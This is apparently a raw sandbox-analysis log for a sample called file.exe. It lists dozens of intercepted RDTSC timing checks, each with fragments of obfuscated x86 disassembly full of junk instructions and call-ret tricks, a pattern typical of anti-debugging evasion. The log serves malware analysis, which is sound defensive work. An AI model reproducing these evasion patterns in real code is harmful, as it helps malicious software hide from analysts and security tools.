Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC631 second address: 9DC635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC635 second address: 9DC681 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FE2B0E330E4h 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 jg 00007FE2B0E330DCh 0x0000001b push eax 0x0000001c push edi 0x0000001d pop edi 0x0000001e pop eax 0x0000001f popad 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC681 second address: 9DC688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC688 second address: 9DC68D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC762 second address: 9DC777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B891h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC777 second address: 9DC7A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE2B0E330E7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC7A8 second address: 9DC7AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC9F3 second address: 9DC9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCBF8 second address: 9DCBFD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD1B3 second address: 9DD1BD instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD26A second address: 9DD275 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FE2B0E6B886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD396 second address: 9DD3A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE2B0E330D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD47A second address: 9DD491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B893h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD640 second address: 9DD64D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD64D second address: 9DD653 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD723 second address: 9DD727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD8EC second address: 9DD902 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE2B0E6B88Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD902 second address: 9DD909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD909 second address: 9DD91A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B88Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD91A second address: 9DD942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FE2B0E330E1h 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD942 second address: 9DD947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD947 second address: 9DD94C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDDC3 second address: 9DDE1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jne 00007FE2B0E6B88Ah 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D2A25h], esi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FE2B0E6B888h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 and di, 4A5Bh 0x00000035 push 00000000h 0x00000037 add di, 887Ch 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jnc 00007FE2B0E6B897h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE71B second address: 9DE725 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE725 second address: 9DE729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE729 second address: 9DE799 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c call 00007FE2B0E330DFh 0x00000011 sub dword ptr [ebp+122D1C0Eh], eax 0x00000017 pop esi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FE2B0E330D8h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007FE2B0E330D8h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 clc 0x00000051 mov esi, ecx 0x00000053 xchg eax, ebx 0x00000054 push edi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E01A9 second address: 9E01AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0F0E second address: 9E0F13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0F13 second address: 9E0FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE2B0E6B886h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e xor si, 5942h 0x00000013 mov esi, dword ptr [ebp+122D2198h] 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007FE2B0E6B888h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 je 00007FE2B0E6B88Ch 0x0000003b mov esi, dword ptr [ebp+122D1E79h] 0x00000041 mov esi, dword ptr [ebp+122D2B8Dh] 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push eax 0x0000004c call 00007FE2B0E6B888h 0x00000051 pop eax 0x00000052 mov dword ptr [esp+04h], eax 0x00000056 add dword ptr [esp+04h], 00000017h 0x0000005e inc eax 0x0000005f push eax 0x00000060 ret 0x00000061 pop eax 0x00000062 ret 0x00000063 movsx esi, cx 0x00000066 xchg eax, ebx 0x00000067 jmp 00007FE2B0E6B88Eh 0x0000006c push eax 0x0000006d pushad 0x0000006e jo 00007FE2B0E6B89Ch 0x00000074 jmp 00007FE2B0E6B896h 0x00000079 push eax 0x0000007a push edx 0x0000007b jl 00007FE2B0E6B886h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1AB0 second address: 9E1AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1883 second address: 9E1887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1AB4 second address: 9E1AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1887 second address: 9E188B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1AB8 second address: 9E1B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FE2B0E330D8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007FE2B0E330D8h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e push 00000000h 0x00000040 pushad 0x00000041 mov dx, 4BEDh 0x00000045 mov eax, 2DCA1380h 0x0000004a popad 0x0000004b xchg eax, ebx 0x0000004c push esi 0x0000004d pushad 0x0000004e push ecx 0x0000004f pop ecx 0x00000050 push ecx 0x00000051 pop ecx 0x00000052 popad 0x00000053 pop esi 0x00000054 push eax 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 jno 00007FE2B0E330D6h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E36FB second address: 9E36FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5B75 second address: 9E5BAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FE2B0E330D8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 movsx edi, di 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push edx 0x00000031 pop edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6C07 second address: 9E6C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5D41 second address: 9E5D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6C0D second address: 9E6C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7C48 second address: 9E7CC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FE2B0E330D8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 add di, DDB2h 0x00000029 mov dword ptr [ebp+122D1F21h], esi 0x0000002f push 00000000h 0x00000031 mov di, 2892h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a call 00007FE2B0E330D8h 0x0000003f pop eax 0x00000040 mov dword ptr [esp+04h], eax 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc eax 0x0000004d push eax 0x0000004e ret 0x0000004f pop eax 0x00000050 ret 0x00000051 xchg eax, esi 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7CC1 second address: 9E7CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8CEC second address: 9E8CF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E5A second address: 9E7E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E5E second address: 9E7E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E68 second address: 9E7E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EABDB second address: 9EABE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EABE1 second address: 9EAC3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE2B0E6B895h 0x00000008 jmp 00007FE2B0E6B896h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 movzx ebx, si 0x00000016 push 00000000h 0x00000018 mov bx, si 0x0000001b push 00000000h 0x0000001d sbb edi, 72E4DE9Dh 0x00000023 xchg eax, esi 0x00000024 jg 00007FE2B0E6B88Eh 0x0000002a js 00007FE2B0E6B888h 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push edx 0x00000034 jc 00007FE2B0E6B886h 0x0000003a pop edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EAC3F second address: 9EAC49 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE2B0E330DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECD00 second address: 9ECD6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FE2B0E6B894h 0x0000000c pop eax 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FE2B0E6B888h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov ebx, dword ptr [ebp+122D1F2Ah] 0x00000033 mov dword ptr [ebp+1245BE95h], edx 0x00000039 push 00000000h 0x0000003b or edi, dword ptr [ebp+122D217Ah] 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 jmp 00007FE2B0E6B890h 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECD6B second address: 9ECD6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDDBD second address: 9EDDC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDDC9 second address: 9EDDCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDDCD second address: 9EDDD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECF09 second address: 9ECF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDDD1 second address: 9EDDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECF0D second address: 9ECF13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDDD7 second address: 9EDDDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECF13 second address: 9ECF2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E330E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDDDE second address: 9EDE3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FE2B0E6B888h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 movsx edi, cx 0x00000027 push 00000000h 0x00000029 mov bh, 8Dh 0x0000002b mov di, bx 0x0000002e xchg eax, esi 0x0000002f jmp 00007FE2B0E6B88Bh 0x00000034 push eax 0x00000035 push ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FE2B0E6B899h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDE3C second address: 9EDE40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEEE0 second address: 9EEEE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEEE4 second address: 9EEEF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEEF9 second address: 9EEF03 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE2B0E6B88Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEF03 second address: 9EEF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEF10 second address: 9EEF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEF14 second address: 9EEF1E instructions: 0x00000000 rdtsc 0x00000002 je 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEF1E second address: 9EEF35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B893h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE09A second address: 9EE0A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F2E88 second address: 9F2EC1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE2B0E6B88Eh 0x0000000b ja 00007FE2B0E6B895h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE2B0E6B88Ah 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1091 second address: 9F10BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FE2B0E330DCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10BD second address: 9F10C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10C2 second address: 9F10C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10C8 second address: 9F10CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3500 second address: 9F351A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F351A second address: 9F351F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10CC second address: 9F1162 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jng 00007FE2B0E330D9h 0x00000013 movsx ebx, di 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FE2B0E330D8h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e movzx ebx, bx 0x00000041 mov eax, dword ptr [ebp+122D16C9h] 0x00000047 push 00000000h 0x00000049 push edx 0x0000004a call 00007FE2B0E330D8h 0x0000004f pop edx 0x00000050 mov dword ptr [esp+04h], edx 0x00000054 add dword ptr [esp+04h], 0000001Bh 0x0000005c inc edx 0x0000005d push edx 0x0000005e ret 0x0000005f pop edx 0x00000060 ret 0x00000061 mov di, bx 0x00000064 push FFFFFFFFh 0x00000066 mov bh, ch 0x00000068 push eax 0x00000069 pushad 0x0000006a jns 00007FE2B0E330D8h 0x00000070 pushad 0x00000071 jmp 00007FE2B0E330DEh 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
